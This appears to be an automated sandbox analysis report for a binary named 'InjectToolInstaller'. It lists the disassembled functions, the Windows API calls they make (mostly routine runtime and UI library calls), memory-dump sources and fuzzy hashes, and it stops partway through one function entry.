Uniqueness Score: -1.00%

Function 013AA434 Relevance: 6.0, APIs: 4, Instructions: 36
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetLastError.KERNEL32(00000078), ref: 013AA442
CreateFileW.KERNELBASE(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 013AA463
SetFileTime.KERNELBASE(00000000,?,?,?), ref: 013AA47A
CloseHandle.KERNELBASE(00000000), ref: 013AA486

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID:
API String ID: 2291555494-0
Opcode ID: f14ab295229b85ce450b4c28ed0644abced3653eaf5903e71e08f7dbd0fcec7c
Instruction ID: 9cc0e6783321217dde7e2ed56bf92023bd9dccb5bea22c6c698b8111de76b14a
Opcode Fuzzy Hash: f14ab295229b85ce450b4c28ed0644abced3653eaf5903e71e08f7dbd0fcec7c
Instruction Fuzzy Hash: 7DF0E233145219BFFB221F64AC88FAB3B5CEB09318F008204FA15A62D1C3618D249760

Uniqueness

Uniqueness Score: -1.00%

Function 013C7827 Relevance: 4.6, APIs: 3, Instructions: 55
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd589783e9d579b33f59ba00ea57a5574d7a526fe3c6b31047f356ac8e91a1f2
Instruction ID: 43e962b596a34e5bd6b9e9f4c894f9c471a98c5c2e5781512eba739a791d13d8
Opcode Fuzzy Hash: bd589783e9d579b33f59ba00ea57a5574d7a526fe3c6b31047f356ac8e91a1f2
Instruction Fuzzy Hash: 5001B1376006165FEB269E6DFC8195B3F9AAB84A787158228FF01CB598DB309C41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013CDD1E Relevance: 4.6, APIs: 3, Instructions: 54
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0002DA48,00000000,?,?), ref: 013CDD67
GetLastError.KERNEL32(?,?,?,?,?,013A4B6F,00000000,00000000,?,?,00000000,?), ref: 013CDD73
__dosmaperr.LIBCMT ref: 013CDD7A

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: dcbdc0cfba8dc66cdd1dfc2aadfaa25f7b7d3cc695507aefefa8d8d7dde921c6
Instruction ID: f9161e10235aa711a9c9a3790f0680bd19205f604dc90911585d3030e2fc5df4
Opcode Fuzzy Hash: dcbdc0cfba8dc66cdd1dfc2aadfaa25f7b7d3cc695507aefefa8d8d7dde921c6
Instruction Fuzzy Hash: B201443790511A6BDB159FE9DC0899F7FA9DF85B68F04013DFD0596150DA318D1187E0

Uniqueness

Uniqueness Score: -1.00%

Function 013A8E0B Relevance: 4.6, APIs: 3, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 013A8E12
DialogBoxParamW.USER32 ref: 013A8E34
DialogBoxParamA.USER32 ref: 013A8E9E

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: DialogParam$H_prolog3
String ID:
API String ID: 2457777335-0
Opcode ID: a25249ed02c6c99189e14f1fc7c016e621e9c216780c4e8a45ca8de4d8966bee
Instruction ID: f098270f17c391d4773f6825d4ed86c212863abe35c49e1faf02c25d6de1249a
Opcode Fuzzy Hash: a25249ed02c6c99189e14f1fc7c016e621e9c216780c4e8a45ca8de4d8966bee
Instruction Fuzzy Hash: 1411513190110AAFDB11FBA8EC49EDE7F7DEF14718F545145F604A2164DB314A58D790

Uniqueness

Uniqueness Score: -1.00%

Function 013AD3F4 Relevance: 4.5, APIs: 3, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 013AD3FB
SetWindowTextW.USER32 ref: 013AD40F
SetWindowTextA.USER32(00000068,00000000), ref: 013AD43D

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: TextWindow$H_prolog3
String ID:
API String ID: 3031901214-0
Opcode ID: f87d9f1e23a4ca7db63a9245dd175e1bccec1b1231e7bafdead5ad888c89051d
Instruction ID: ddd1312659eb4ab88050c845364ea1cc34d188370f4dd543e960ecc87dd032c4
Opcode Fuzzy Hash: f87d9f1e23a4ca7db63a9245dd175e1bccec1b1231e7bafdead5ad888c89051d
Instruction Fuzzy Hash: 43F0623690110ABBCF11ABB4DC45BDD7BADEF15308F505125EA01A64A0DF319A589B90

Uniqueness

Uniqueness Score: -1.00%

Function 013A8FA7 Relevance: 4.5, APIs: 3, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 013A8FAE
SetWindowLongA.USER32(?,000000EB,?), ref: 013A8FC7
GetWindowLongA.USER32(?,000000EB), ref: 013A8FD0

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: LongWindow$H_prolog3_catch
String ID:
API String ID: 4226485258-0
Opcode ID: e73cb2f7922f6c7d182a858046f1db843253f3ca3cb69902a19177e7bc26a545
Instruction ID: 6af2f2cf8b00d2a092bbc8494c5647ba7910cdd04644fec259ba62f75f816413
Opcode Fuzzy Hash: e73cb2f7922f6c7d182a858046f1db843253f3ca3cb69902a19177e7bc26a545
Instruction Fuzzy Hash: D8F0CD3000010AEBCF119F18C814E9F3B68FF46329F21C41EFA055B6A1C331C904CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013CDB51 Relevance: 4.5, APIs: 3, Instructions: 31
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 013E5A4F: GetLastError.KERNEL32(?,?,?,013E52A3,013D1D9D,?,013E59F9,00000001,00000364,?,013CDA6D,0140DBA8,00000010), ref: 013E5A54
Part of subcall function 013E5A4F: _free.LIBCMT ref: 013E5A89
Part of subcall function 013E5A4F: SetLastError.KERNEL32(00000000), ref: 013E5ABD

ExitThread.KERNEL32 ref: 013CDB63
CloseHandle.KERNEL32(?), ref: 013CDB8B
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,013CDDB8,?,?,013CDAA5,00000000), ref: 013CDBA1

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary_free
String ID:
API String ID: 1198197534-0
Opcode ID: 46b72c5118d798c8b2c61b5d7634e7569eb82389a7cba6b8798388b3394b9aef
Instruction ID: fa1ec0a124b3059696e9959542226096e1552c6a74a4bfcd77eccabaff5eea88
Opcode Fuzzy Hash: 46b72c5118d798c8b2c61b5d7634e7569eb82389a7cba6b8798388b3394b9aef
Instruction Fuzzy Hash: 2BF03A755007056BEF355ABEC848A1A3AACAF01B6CF154628FA69932D1D730DC4287D4

Uniqueness

Uniqueness Score: -1.00%

Function 013AE383 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 621COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013AE38D

Strings

, xrefs: 013AE3CD

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-3916222277
Opcode ID: a702645978c2a3651fdbbdccd6d5053923bca30b7484db471d35340509bc48ad
Instruction ID: d4d7ce5cff8323f30c6e590af35cabf6e1cab40b23a5b8ad054c9936c8ba83c3
Opcode Fuzzy Hash: a702645978c2a3651fdbbdccd6d5053923bca30b7484db471d35340509bc48ad
Instruction Fuzzy Hash: 2F42687590021ADFDB11DFA8C484AAEBBF5FF58318F644069E809AB351DB30ED45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013AF023 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 543COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 013AF02D

Strings

!, xrefs: 013AF54F

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3_catch
String ID: !
API String ID: 3886170330-2657877971
Opcode ID: bae39ec3a5eb0049f7513012f1c448161625d6384621ffdb4d82c82c25683ff2
Instruction ID: d59a1eb7a0e4002bd4e30c913c2cde3f55dbf5679a3b0b9998a204a2bef84539
Opcode Fuzzy Hash: bae39ec3a5eb0049f7513012f1c448161625d6384621ffdb4d82c82c25683ff2
Instruction Fuzzy Hash: 42326B7490024ADFDB10CFA8C584AADBBB9FF59318F688199E945AB351C730ED41CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 013BB6A1 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 429COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BB6AB

Strings

!, xrefs: 013BBA68

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID: !
API String ID: 431132790-2657877971
Opcode ID: 3684124f97b17f681885fe876130caf84e66356d63ae26dc423b184bc7f3376c
Instruction ID: 2252260aae1144aa4af454fd36799c4df782ff3a585b9c46ce7a795e4c71d6a4
Opcode Fuzzy Hash: 3684124f97b17f681885fe876130caf84e66356d63ae26dc423b184bc7f3376c
Instruction Fuzzy Hash: 44027D71D0021ADFDF21DFA8C994AEDBBB4BF58318F144098E605AB695EB30AE45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013BE47D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013BE487

Part of subcall function 013AA7BA: __EH_prolog3.LIBCMT ref: 013AA7C1

Strings

Default, xrefs: 013BE5B6

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3
String ID: Default
API String ID: 431132790-753088835
Opcode ID: 9068defdb6b83f4662cc7a937e16f926da4ded8e3bd56c9c363b9d1876860cd4
Instruction ID: ef88dd4c37a8824c3e5a94ec6d3a3325383ca354d239106fa84fa704fe398cd1
Opcode Fuzzy Hash: 9068defdb6b83f4662cc7a937e16f926da4ded8e3bd56c9c363b9d1876860cd4
Instruction Fuzzy Hash: 19513F7190020ADFDB15EFA8D890EDDBBB8FF18308F50416EE656A7590EF306A09CB10

Uniqueness

Uniqueness Score: -1.00%

Function 013E83DB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 013E8400

Strings

, xrefs: 013E8445

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: b283d62f3016b3e23d4956a1562e5ca7838084b43e4626df20d6c834418ab835
Instruction ID: dfd56450d3ddf1ccc99fdfafbbca9d0fcc43f8e4d91be65286c7e811ceb03275
Opcode Fuzzy Hash: b283d62f3016b3e23d4956a1562e5ca7838084b43e4626df20d6c834418ab835
Instruction Fuzzy Hash: E8413D7090439C9ADF218F68CC88AF6BBEDEF5530CF1404ECD58A97186D6359A45CF20

Uniqueness

Uniqueness Score: -1.00%

Function 013E68F1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,C3E85006,00000001,?,?), ref: 013E6962

Strings

LCMapStringEx, xrefs: 013E6902, 013E690C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: ea8b053cce2bac4dbbd2bf1b0359acdf7d280932debfcffe663c76ce7370c164
Instruction ID: 3f3a3c8b2eefea4015613043b367729e6eb01e571c48503fd59d635048bf0834
Opcode Fuzzy Hash: ea8b053cce2bac4dbbd2bf1b0359acdf7d280932debfcffe663c76ce7370c164
Instruction Fuzzy Hash: 37014C3254021DBBCF125FA5DC0ADEE3FA6EF28720F004119FE05661A0C6779930EB84

Uniqueness

Uniqueness Score: -1.00%

Function 013E6345 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 013E6384

Strings

FlsAlloc, xrefs: 013E6360

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 55182b5734d9e494f8a56a1cf181f0ea0ee65c623845d2805c6bd8812cd56f17
Instruction ID: 9f3386d3902f1e52593c3921ae1604a362688ab91d773366695340863305fcdf
Opcode Fuzzy Hash: 55182b5734d9e494f8a56a1cf181f0ea0ee65c623845d2805c6bd8812cd56f17
Instruction Fuzzy Hash: 08E0E571741328B7C715AB7AAC0ADAEBFA8DF64714F11016EFE05572D0DEB15E008681

Uniqueness

Uniqueness Score: -1.00%

Function 013C7A64 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMONLIBRARYCODE

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00000000,?), ref: 013C7AA1

Strings

InitializeCriticalSectionEx, xrefs: 013C7A68, 013C7A72

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: d2f5f545c02e4f47cc6953d13edfa1f7eb0d7a0e3acfe7441fb2447d55e209eb
Instruction ID: a4698298a6c1def26875a0695fec2501790907b8ad16d6ecfd2eb04a7425375c
Opcode Fuzzy Hash: d2f5f545c02e4f47cc6953d13edfa1f7eb0d7a0e3acfe7441fb2447d55e209eb
Instruction Fuzzy Hash: 03E04F39685319BBDF162F9ADD01E9E3E19EB04EA4F144429FE1C16260C67299209FD4

Uniqueness

Uniqueness Score: -1.00%

Function 013E8785 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 013E8303: GetOEMCP.KERNEL32(00000000,?,?,013E858C,?), ref: 013E832E

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,013E85D1,?,00000000), ref: 013E87F9
GetCPInfo.KERNEL32(00000000,013E85D1,?,?,?,013E85D1,?,00000000), ref: 013E880C

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 3c97ca60197b3086863f0219baf189b280b5e57b0906544a8dbd32998e8bbf63
Instruction ID: e5e58f9d439b80aba93a4e9f26e205d9ebaa20c4730e9030e4cd42c3da2e877f
Opcode Fuzzy Hash: 3c97ca60197b3086863f0219baf189b280b5e57b0906544a8dbd32998e8bbf63
Instruction Fuzzy Hash: C1517770D0032A9EEB21CF79D8886BBBFE9EF41308F1440AED9969B2D1D7359541CB91

Uniqueness

Uniqueness Score: -1.00%

Function 013BE981 Relevance: 3.2, APIs: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 013BEAC9
_memcmp.LIBVCRUNTIME ref: 013BEB22

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4d8bd6d6f95cd46a5bc77159beb3a765408690f327609632c1f83ca77f551f9f
Instruction ID: 473407e2aea31120473792f2da6e1b1956e9c13b502a39c76c2be2e497aca797
Opcode Fuzzy Hash: 4d8bd6d6f95cd46a5bc77159beb3a765408690f327609632c1f83ca77f551f9f
Instruction Fuzzy Hash: 0A619175D042A99FDB31CF28CC846D9BBB8EB04358F0441EAE599A7605E6B49FC4CF60

Uniqueness

Uniqueness Score: -1.00%

Function 013AA260 Relevance: 3.1, APIs: 2, Instructions: 117COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013AA26A

Part of subcall function 013AA7BA: __EH_prolog3.LIBCMT ref: 013AA7C1

SetLastError.KERNEL32(0000010B,?,0000008C,013AA1E5,?,?,013A9804,00000018), ref: 013AA2AB

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: H_prolog3$ErrorLast
String ID:
API String ID: 1123136255-0
Opcode ID: 69846c6005e7caf39c5b504339f3561c213237804401556be0728e2b13d126e6
Instruction ID: 70995a20b0fde8f251e895b4638d2ea7d491a3241d7e209936ea535520a8d9a1
Opcode Fuzzy Hash: 69846c6005e7caf39c5b504339f3561c213237804401556be0728e2b13d126e6
Instruction Fuzzy Hash: 4641AC3290420BEBDF15FBA8CC41AEDBBB5EF21318F941059D641771E1EB321A4ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 013A98A8 Relevance: 3.1, APIs: 2, Instructions: 112COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 013A98AF

Part of subcall function 013AADE3: GetFileAttributesA.KERNEL32(00000000,013A9CCE,?,?,013A9CCE,?), ref: 013AAE01

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389212366.0000000001410000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389218993.0000000001415000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_InjectToolInstaller.jbxd

Similarity

API ID: AttributesFileH_prolog3
String ID:
API String ID: 1973727094-0
Opcode ID: a83d1ebfeb3aa001c81e5030e6704171bd01e3d80894c4348d3c97178b81f6d7
Instruction ID: 458bc8a3f871b7670c4477afcda441811a68d52b933363bd410990fde40881b0
Opcode Fuzzy Hash: a83d1ebfeb3aa001c81e5030e6704171bd01e3d80894c4348d3c97178b81f6d7
Instruction Fuzzy Hash: 0231C03190110BABDF14EFA8C885BFEBBB9EF1220CF94005DDA45B7190EB219D46C791

Uniqueness

Uniqueness Score: -1.00%

Function 013E856F Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 013E59CB: GetLastError.KERNEL32(?,?,013CDA6D,0140DBA8,00000010), ref: 013E59CF
Part of subcall function 013E59CB: _free.LIBCMT ref: 013E5A02
Part of subcall function 013E59CB: SetLastError.KERNEL32(00000000), ref: 013E5A43
Part of subcall function 013E59CB: _abort.LIBCMT ref: 013E5A49

Part of subcall function 013E868E: _abort.LIBCMT ref: 013E86C0
Part of subcall function 013E868E: _free.LIBCMT ref: 013E86F4

Part of subcall function 013E8303: GetOEMCP.KERNEL32(00000000,?,?,013E858C,?), ref: 013E832E

_free.LIBCMT ref: 013E85E7
_free.LIBCMT ref: 013E861D

Memory Dump Source

Source File: 00000000.00000002.389183680.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.389176681.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.389203238.00000000013FF000.00000002.00000001.01000000.00000003.sdmpDownload File
